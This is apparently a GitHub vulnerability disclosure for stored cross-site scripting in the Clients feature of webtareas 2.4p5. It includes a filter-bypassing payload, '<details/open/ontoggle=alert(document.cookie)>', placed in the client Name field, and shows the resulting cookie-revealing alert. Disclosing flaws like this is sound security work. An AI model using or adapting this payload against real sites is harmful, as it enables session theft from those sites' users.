

New issue

[Jump to bottom](#)

Stored Cross Site Scripting Vulnerability Bypass filter on "Clients" feature in webtareas 2.4p5 #11

Open anhdq201 opened this issue on Nov 2 · 0 comments

anhdq201 commented on Nov 2 Owner

Version: 2.4p5

Description

An authenticated malicious user can take advantage of a Stored XSS vulnerability in the "Clients" feature.

Proof of Concept

Step 1: Go to "/clients/listclients.php?", click "Add" and insert payload "<details/open/ontoggle=alert(document.cookie)>" in "Name" field.

webTareas

Search webTareas

Administrator

Clients > Add Client Organization

Owner: Administrator

* Name: <details/open/ontoggle=alert(document.cookie)>

Address: [Rich Text Editor] Path: p

Zip Code: [Text Field]

City: [Text Field]

Country: [Text Field]

Phone: [Text Field]

Fax: [Text Field]

URL: [Text Field]

E-Mail: [Text Field]

Currency: Multi Currency

Workcalendar: default

Comments: [Rich Text Editor]

Service Site Welcome Text: [Rich Text Editor] Path: p

Logo: Drop file here or Choose

Step 2: Alert XSS Message

webTareas

Search webTareas

Administrator

Clients > Details

Client Client Projects Client Users

Name: Details

Address: [Text Field]

Zip Code: [Text Field]

City: [Text Field]

Country: [Text Field]

Phone: [Text Field]

Fax: [Text Field]

URL: [Text Field]

E-Mail: [Text Field]

Currency: Multi Currency

Payment Terms: End of month

Comments: [Text Field]

Service Site Welcome Text: [Text Field]

Owner: Administrator

Created: 11/03/2022 00:47

Locked: No

Alert Message: localhost:13340 says fusion76pfl_visited=yes; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; _ga=GA1.1.218229828.1664898394; fusion768l1_visited=yes; useribl_results=user_joined%2Cuser_lastvisit%2Cuser_groups; useribl_status=0%2C2; useribl_search=%25; cookie_test=please_accept_for_session; __gads=ID=b63f95e1677676e3-223ed1eb6ed700-00-T-166637776NPT-166637776NCS-A1N1114h03DmkK v0002k3nDvi

Powered by webTareas v2.4 - Connected users: 1 - (GMT +7:00)

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

